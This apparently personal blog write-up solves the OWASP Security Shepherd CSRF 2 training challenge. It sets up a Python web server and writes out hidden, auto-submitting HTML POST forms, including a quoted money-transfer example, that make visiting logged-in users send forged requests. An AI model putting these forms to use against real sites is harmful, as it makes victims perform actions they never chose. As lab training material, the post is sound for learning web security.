OWASP Security Shepherd Project - CSRF 2 (CSRF Challenge)
Challenge
Solution
In this challenge, we need to force other users to send a POST request to increase our counter. Actually, it is quite similar to challenge 1, but we are now using POST instead of GET.Before designing a POST request other users, we need to have a web server. That is because POST request are a little bit difficult than GET request, we can't just embedded it into a image or other web resource. We will need to make a form and make it submit automatically.
Fortunately, Python provides us a very easy way to hold a temporary web server! Just run similar commands as the followings:
1. mkdir /root/Desktop/temp
2. cd /root/Desktop/temp
3. python -m SimpleHTTPServer <port to listen>
(-m means module, SimpleHTTPServer is module name)
Now, we have a web server run on the <port to listen> and use /root/Desktop/temp as root directory!
Next, we need to design a POST form for other users. We could leverage the codes provided in CSRF lesson:
<form name="csrfForm" action="http://www.secureBank.ie/sendMoney" method="POST">
<input type="hidden" name="giveMoneyTo" value="hacker" />
<input type="hidden" name="giveAmount" value="1000" />
<input type="submit"/>
</form>
<script> document.csrfForm.submit(); </script>
However, we need to modify it to POST /user/csrfchallengetwo/plusplus with the parameter userId = ourId.
As a result, the form should look like the followings:
<form name="evilForm" action="https://192.168.1.5/user/csrfchallengetwo/plusplus" method="POST">
<input type="hidden" name="userId" value="ourId" />
<input type="submit"/>
</form>
<script> document.evilForm.submit(); </script>
Now, only one question left, that is what exactly is ourId?
To answer this question, let's try to see what can we get in BurpSuite?
Nothing~lol
Maybe it will be the same as challenge 1 which is 637e8d2e65542fe82fe6da3b0356bc0865b0b791?
That would make our form become the followings:
<form name="evilForm" action="https://192.168.1.5/user/csrfchallengetwo/plusplus" method="POST">
<input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" />
<input type="submit"/>
</form>
<script> document.evilForm.submit(); </script>
Next, what we need to do is to put the form into a simple HTML web page. As a result, we can google "HTML Web page Sample" and we will find this Example of a simple HTML page! Now, we slightly modified the sample HTML page and put our form into it as the followings:
1. vim peter.html
2. Press i for input mode
3. Input
<HTML>
<HEAD>
<TITLE>Peter's Playground</TITLE>
</HEAD>
<H1>This is a Header</H1>
<H2>This is a Medium Header</H2>
<P> This is a new paragraph!
<P> <B>This is a new paragraph!</B>
<BR> <B><I>This is a new sentence without a paragraph break, in bold italics.</I></B>
<form name="evilForm" action="https://192.168.1.5/user/csrfchallengetwo/plusplus" method="POST">
<input type="hidden" name="userId" value="637e8d2e65542fe82fe6da3b0356bc0865b0b791" />
<input type="submit"/>
</form>
<script> document.evilForm.submit(); </script>
</BODY>
</HTML>
Then, let's input the URL of our webpage(Ex: http://192.168.1.6:7724/peter.html). After that, let's logout and login as another user's account to see what happens!
It seems that we have successfully increase the counter! Let's login back to original account to see if we could pass.
This completes the challenge : -)
留言
張貼留言
Welcome to share your comments or questions : -)
Enjoy life!